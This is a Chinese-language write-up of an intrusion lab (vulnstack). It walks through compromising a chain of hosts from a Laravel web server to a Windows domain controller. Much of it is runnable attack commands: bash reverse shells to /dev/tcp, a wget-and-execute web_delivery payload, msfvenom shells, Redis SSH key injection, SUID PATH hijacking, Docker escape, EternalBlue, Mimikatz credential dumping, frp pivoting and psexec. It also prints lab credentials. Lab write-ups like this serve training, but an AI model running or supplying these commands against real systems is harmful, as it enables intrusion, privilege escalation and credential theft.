前言
靶机详细信息
1 | http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ |
1 | 域用户账户和密码 |
环境搭建
拓扑图
首先,创建一张VMnet1
的网卡,将网段设置为192.168.1.0
,用于模拟外网环境,同时将外网靶机Ubuntu(web1)
和kali
应用该网卡。
然后再按照以下文档来配置
环境配置
在Vmware中新增两个虚拟网卡
VMnet8
、VMnet14
。VMnet8
设为默认的NAT
模式,IP段设为192.168.52.0/24
;VMnet14
设为仅主机模式,IP段设为192.168.93.0/24
:将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
- 给Ubuntu (Web 1) 配置了两个网卡,一个配置
VMnet1
可以对外提供服务;一个连接在VMnet8
上连通第二层网络。第二层网络区域:
- 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在
VMnet8
上连通第二层网络,一个连接在VMnet14
上连通第三层网络。第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在
VMnet14
上连通第三层网络。服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动redis和nginx服务:
- sudo redis-server /etc/redis.conf
- sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
- sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
- sudo service docker start
- sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
- C:\MYOA\bin\AutoConfig.exe
攻入内网:web1
kali
的IP:192.168.1.6
主机发现
1 | nmap -sn 192.168.1.1/24 |
得到第一层靶机的IP192.168.1.5
端口扫描
1 | sudo nmap -sS -Pn -sV -v -p 1-65535 192.168.1.5 |
开放了22
、80
、81
、6379
端口
访问80
访问 81
可从页面中得到 站点的指纹 Laravel v8.29.0
通过搜索引擎,可以得知,该版本存在CVE-2021-3129
漏洞利用:CVE-2021-3129 phar反序列化
首先下载 CVE-2021-3129
利用工具
1 | https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP |
然后执行
1 | python3 .\laravel-CVE-2021-3129-EXP.py 'http://192.168.1.5:81' |
注意 url参数后面不能跟/
,否则会没有返回结果 。
利用脚本已经成功写入了哥斯拉的木马,但是这里用3.0
以上的版本去连接会失败,我用的是2.96
。
连接成功,方便后续使用。
Redis未授权漏洞
发现目标主机开启了6379
端口,尝试使用redis-cli
进行连接
1 | redis-cli -h 192.168.1.5 |
无需密码,直接连接成功,存在redis未授权漏洞
尝试通过 redis
写 ssh
公钥,然后使用私钥去连接。
redis 写入 ssh 公钥 getshell
首先在kali中生成公钥
1 | ssh-keygen -t rsa |
将公钥导入1.txt 文件中
1 | (echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt |
将1.txt 文件内容写入目标主机的redis缓冲中
1 | cat 1.txt | redis-cli -h 192.168.1.5 -p 6379 -x set 1 |
在redis中操作
1 | redis-cli -h 192.168.1.5 |
ssh连接
1 | ssh -i /home/kali/.ssh/id_rsa root@192.168.1.5 |
成功连接上,并且拿到了靶机root权限。
主机信息收集
1 | ifconfig |
发现内网网段192.168.52.0
查看系统版本
1 | uname -a |
上传64位fscan
扫描内网
使用 scp
1 | scp -i /home/kali/.ssh/id_rsa /home/kali/Desktop/fscan/fscan_amd64 root@192.168.1.5:/tmp |
1 | ./fscan_amd64 -h 192.168.52.1/24 |
1 | (icmp) Target 192.168.52.10 is alive |
通过扫描结果可以知道存活了四个ip,其中192.168.52.2
为网关,192.168.52.10
为当前靶机,另一台靶机192.168.52.20
,并且开放了8000
、22
端口,通过查看当前靶机的nginx
配置,可发现,当前靶机开放的81
端口就是192.168.52.20
的8000
端口,通过nginx反向代理到了当前靶机。
还有一台为192.168.52.30
,开放了8080
、139
、135
、445
端口,操作系统为windows7
,并且存在MS17-010
和tongda-oa-v11.9-api.ali.php-fileupload
的漏洞。
1 | cat /etc/nginx/conf.d/81.conf |
在前面,我们已经通过CVE-2021-3129
漏洞拿到192.168.52.20
webshell权限。
接下来,通过该webshell继续向内网渗透。
二层内网渗透:web2
方便后续操作,首先在哥斯拉中执行反弹shell命令,将shell反弹到Kali中
kali监听
1 | nc -lvnp 4444 |
哥斯拉中执行
1 | bash -c 'exec bash -i &>/dev/tcp/192.168.1.6/4444 <&1' |
得到
提权
查看系统版本
1 | uname -a |
Linux内核版本Linux version 4.4.0-142-generic
,脏牛提权漏洞存在于Linux内核 >= 2.6.22
,当前靶机不存在脏牛提权漏洞。
接下来
尝试查看具有suid
特殊权限的文件来进行提权
1 | find / -perm -u=s -type f 2>/dev/null |
发现一个可疑文件 shell
执行shell
,发现其实就是以root
用户调用了ps
命令。
提权思路,如果我们构造一个可以反弹shell的ps
文件,然后再改变$PATH
环境变量,让shell
执行我们构造的ps
,不就可以拿到root权限了嘛。
环境变量劫持提权
首先创建一个可以反弹shell的ps
文件,因为我们通过redis
写ssh
公钥,已经拿到了Ubuntu
靶机的权限,并且Ubuntu
靶机与当前正在攻击的靶机在同以网段,所直接将shell反弹到Ubuntu
靶机上。
在/tmp
目录下执行
1 | echo "bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/4444 <&1'" > ps |
赋予可执行权限
1 | chmod 777 ps |
查看环境变量
1 | echo $PATH |
将tmp
目录添加到环境变量中
1 | export PATH=/tmp:$PATH |
在Ubuntu
靶机中进行监听
1 | nc -lnvp 4444 |
回到当前靶机中执行
1 | ./shell |
左边是监听,右边执行,成功提权到root。
Docker特权逃逸
发现好多命令根本无法执行,查看是不是在docker
中
1 | ls -alh /.dockerenv |
发现存在于Docker
环境中
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
利用方式
创建一个目录用于挂载
1 | mkdir /tmp/test |
挂载
1 | mount /dev/sda1 /tmp/test |
成功
ssh密钥写入
首先生成密钥
1 | ssh-keygen -f rsa |
接下来
在Ubuntu1
使用python
开启 http
服务监听
1 | python3 -m http.server |
在ubuntu2
中
先进入到/tmp/test/home/ubuntu/.ssh
目录下,然后使用curl
下载rsa.pub
公钥
1 | cd /tmp/test/home/ubuntu/.ssh |
将rsa.pub
重命名为authorized_keys
1 | mv rsa.pub authorized_keys |
然后回到Ubuntu1
中,在刚刚生成的rsa
目录下连接
1 | ssh -i rsa ubuntu@192.168.52.20 |
成功连接。
权限维持
到目前为止,已经成功拿下web1
和web2
两台靶机了,接下来使用MSF
对两台靶机进行权限维持,方便后续渗透内网。
上线web1靶机
1 | use exploit/multi/script/web_delivery |
得到一条命令
1 | wget -qO pwkzg9Z9 --no-check-certificate http://192.168.1.6:8080/79LajMacnMhyY5R; chmod +x pwkzg9Z9; ./pwkzg9Z9& disown |
将该命令放在web1
的shell
中执行
成功上线web1
靶机
添加路由
1 | route add 192.168.52.0 255.255.255.0 1 |
上线web2靶机
生成Linux 反弹shell
1 | msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988 |
将 shell9988 上传至 web1
靶机中
1 | upload /home/kali/shell9988 /tmp |
MSF开启监听
1 | use exploit/multi/handler |
然后将生成的木马上传至web2
中执行
在tmp
目录下用python
开启http
监听
1 | python3 -m http.server |
在web2
中下载shell9988
并执行
MSF中成功上线
二层内网渗透:pc1
1 | [*] NetBios: 192.168.52.30 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1 |
在通过fscan
对内网网段192.168.52.0
进行扫描的时候,还发现一台IP地址为192.168.52.30
的windows主机,并且存在永恒之蓝和通达的文件上传漏洞,MSF已经添加了路由,所以我们在Kali
上的请求能够到达192.168.52.0
网段,接下来尝试通过该漏洞拿到权限。
永恒之蓝漏洞利用(失败)
1 | use exploit/windows/smb/ms17_010_eternalblue |
但是靶机蓝屏了(尝试多次依旧如此)
换一种方式。
通达 api.ali.php-fileupload 漏洞利用
我们最开始在MSF
上开起了socks5
代理服务,这里直接在物理机上挂代理,然后访问8080
端口
访问 192.168.52.30:8080
通过扫描得知存在 tongda-oa-v11.9-api.ali.php-fileupload
漏洞
接下来使用LiqunKit_1.5
设置代理直接对漏洞进行利用
使用蚁剑连接(需要配置代理)
拿到的直接就是system
权限
权限维持
接下来将该靶机上线到MSF中
首先创建shell
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe |
MSF开启监听
1 | use exploit/multi/handler |
将shell上传到靶机中
在命令终端上执行
MSF收到shell
主机信息收集
查看网卡信息
1 | ipconfig /all |
发现得到域名whoamianony.ory
发现内网网段 192.168.93.0
,当前靶机ip为192.168.93.20
查看域内所有用户列表
收集域信息 需要把进程迁移到域用户执行的进程中
1 | net group /domain |
查看域成员计算机列表
1 | net group "Domain Computers" /domain |
查看所有域用户
1 | net group "Domain Users" /domain |
查看域管理员用户
1 | net group "domain admins" /domain |
收集用户登录口令
1 | load kiwi |
得到
1 | 用户:bunny |
内网信息收集
直接上传fscan
1 | upload /home/kali/Desktop/fscan/fscan64.exe c:/ |
开扫
1 | fscan64.exe -h 192.168.93.1/24 |
1 | (icmp) Target 192.168.93.10 is alive |
通过fscan
扫描结果可以知道,内网存活四台靶机,且192.168.93.10
和192.168.93.20
都已经被攻陷,192.168.93.30
为域控,存在MS17-010
漏洞,操作系统为Windows Server 2012 R2
,域成员服务器192.168.93.40
,也存在MS17-010
漏洞,操作系统为Windows 7 Professional 7601 Service Pack 1
。
三层内网渗透准备
我们已经拿下了二层网络的所有靶机,接下来,我们需要在二层的基础上拿下三层的所有靶机,通过上传fscan
扫描出三层靶机都存在永恒之蓝漏洞,可以使用MSF自带的添加路由功能来使MSF的数据包能达到192.168.93.0
网段,但是利用过程中,极其不稳定很不容易上线,所以,这里通过frp
工具来实现一个二层代理。
首先在kali
中配置 frps.ini
1 | [common] |
在web1
靶机中 分别配置 frpc.ini
和frps.ini
frpc.ini
1 | [common] |
frps.ini
1 | [common] |
在web2
靶机 配置 frpc.ini
1 | [common] |
最后代理地址
1 | socks5:192.168.1.7:46075 |
通过 proxychains4+nmap
扫描 192.168.93.30
的445
端口,看是否成功
1 | proxychains4 nmap -p 445 192.168.93.30 |
成功
三层内网渗透:pc2
永恒之蓝漏洞利用
接下来,另起一个MSF
1 | use exploit/windows/smb/ms17_010_eternalblue |
拿下
信息收集
1 | load kiwi |
抓取到了域用户moretz
的密码
1 | moretz:Moretz2021 |
三层内网渗透:域控服务器
永恒之蓝漏洞利用(失败)
尝试进行永恒之蓝漏洞利用
利用失败了,猜测应该因为开启了防火墙。
在之前,我们收集到了域管理员用户的账号密码administrator:Whoami2021
接下来,通过wmiexec.py
执行命令来关闭防火墙
1 | proxychains4 python3 wmiexec.py "administrator:Whoami2021@192.168.93.30" |
这里虽然有报错,但是已经是成功关闭了的。
再次尝试利用
还是无法利用,经过多次尝试,会导致域控服务器重启。
利用psexec传递拿下DC
1 | use exploit/windows/smb/psexec |
成功拿下域控
最后,所有靶机的 sessions
相关知识点
Linux 反弹shell 命令
1 | bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1' |
用python获得一个交互式shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
参考文章
https://www.cnblogs.com/chen-w/p/16194101.html
https://blog.csdn.net/weixin_62334252/article/details/125384701